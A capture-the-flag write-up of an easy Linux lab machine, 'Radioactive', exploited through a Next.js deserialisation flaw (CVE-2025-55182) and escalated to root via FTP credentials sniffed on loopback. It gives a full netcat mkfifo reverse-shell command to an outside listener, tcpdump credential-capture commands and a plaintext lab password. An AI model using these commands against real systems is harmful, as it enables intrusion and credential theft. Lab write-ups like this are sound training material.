Ronin66 Writeup: Radioactive

13 Nov 2026 · Ronin66 · 4 min
Machine
Radioactive
Platform
Ronin66
OS
Linux
Difficulty
Easy
Table of Contents

Overview

Radioactive is a Linux machine that exposes FTP, SSH and a Next.js web application on port 3000. Anonymous FTP access is enabled, but it holds no files and does not allow uploads, so the web application is the only way in.

A nuclei scan shows that the application is vulnerable to CVE-2025-55182 (React2Shell), an unauthenticated RCE in React Server Components. With a public PoC this gives a reverse shell as a low-privileged user.

On the machine, a systemd timer runs a Python script as root every 2 minutes. The script logs in to the local FTP server over plain text. Capturing the loopback traffic with tcpdump reveals the password, which is reused for root.

Enumeration

We started with an Nmap scan to identify the open ports on the target.

Nmap Scan

Radioactive ➜ nmap -sC -sV 10.0.71.47
Performed Nmap Scan

Performed Nmap Scan

Port Service Description
21 FTP vsftpd 3.0.5. Anonymous login is allowed (FTP code 230), so we check what the share exposes. The control connection is plain text.
22 SSH OpenSSH 9.6p1 on Ubuntu, a Linux host. Needs credentials or keys.
3000 HTTP Nmap does not recognise the service (ppp?), but the responses show a Next.js application (X-Powered-By: Next.js).

Open ports and services found by the Nmap scan

FTP

Anonymous login is allowed on the FTP server, but the share is empty, so there was nothing to download. Anonymous writes were also denied.

Radioactive ➜ ftp 10.0.71.47
Anonymous FTP Login

Anonymous FTP Login

Web Page

Port 3000 runs a Next.js application, and with FTP and SSH both closed to us, it was the only attack surface left. After the basic enumeration, we ran nuclei to check the application for known vulnerabilities.

Radioactive ➜ nuclei -target http://10.0.71.47:3000/
Nuclei Identifying the CVE

Nuclei Identifying the CVE

CVE Research

CVE-2025-55182, also known as React2Shell, is a critical unauthenticated RCE in React Server Components.

A specially crafted HTTP request is deserialized unsafely by the React server, so the attacker’s code runs on the server without any authentication.

Exploitation

We used the following PoC from GitHub.

Gaining a Reverse Shell

We started a Penelope listener on port 4444 and ran the PoC with a mkfifo reverse shell as the command.

# Rev Shell
Radioactive ➜ python3 PoC.py http://10.0.71.47:3000 -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.66.0.33 4444 >/tmp/f"

# Penelope Command
Radioactive ➜ penelope -p 4444 -i ronin66 
Gained User Level Access

Gained User Level Access

This gave us user-level access to the target system.

Post-Enumeration

With user-level access, we started enumerating the machine from the inside.

Identifying the Service

We used lse.sh for the post-enumeration.

radio@radioactive:/tmp$ bash lse.sh -l 1

The output contains the following line:

15 13:16 13169 root python3 /root/script/ftproot.py

A Python script named ftproot.py is running as root. To find out which service starts it, we searched the systemd unit directory.

radio@radioactive:/tmp$ grep -ri 'ftproot' /etc/systemd/system  2>/dev/null
Identify Service

Identify Service

Reviewing the Service

The ftproot.service unit is Type=oneshot and has no User= line, so it runs the script once as root each time it is triggered. The matching ftproot.timer starts it 1 minute after boot (OnBootSec) and again every 2 minutes after the last run (OnUnitActiveSec).

Service and Timer Unit Files

Service and Timer Unit Files

Post-Exploitation

A root script that runs every 2 minutes and is named after the FTP server suggests it connects to that server. Since we cannot read /root, we sniffed the traffic instead.

Network Sniffing

FTP sends credentials in plain text, and the script talks to the local server, so the traffic goes over the loopback interface. We captured port 21 on lo for 120 seconds to be sure at least one run of the script was included, then searched the capture for credentials.

# Network Sniffing
timeout 120 tcpdump -i lo -n port 21 -w /tmp/ftp_capture.pcap

# Extract Credentials
tcpdump -A -r /tmp/ftp_capture.pcap | grep -iE "USER|PASS"
Captured FTP Credentials

Captured FTP Credentials

Privilege Escalation

The captured password, SuperPasswordRed123!, was reused for the root account, so we could switch to root.

We have now rooted the target system.

← Back to Writeups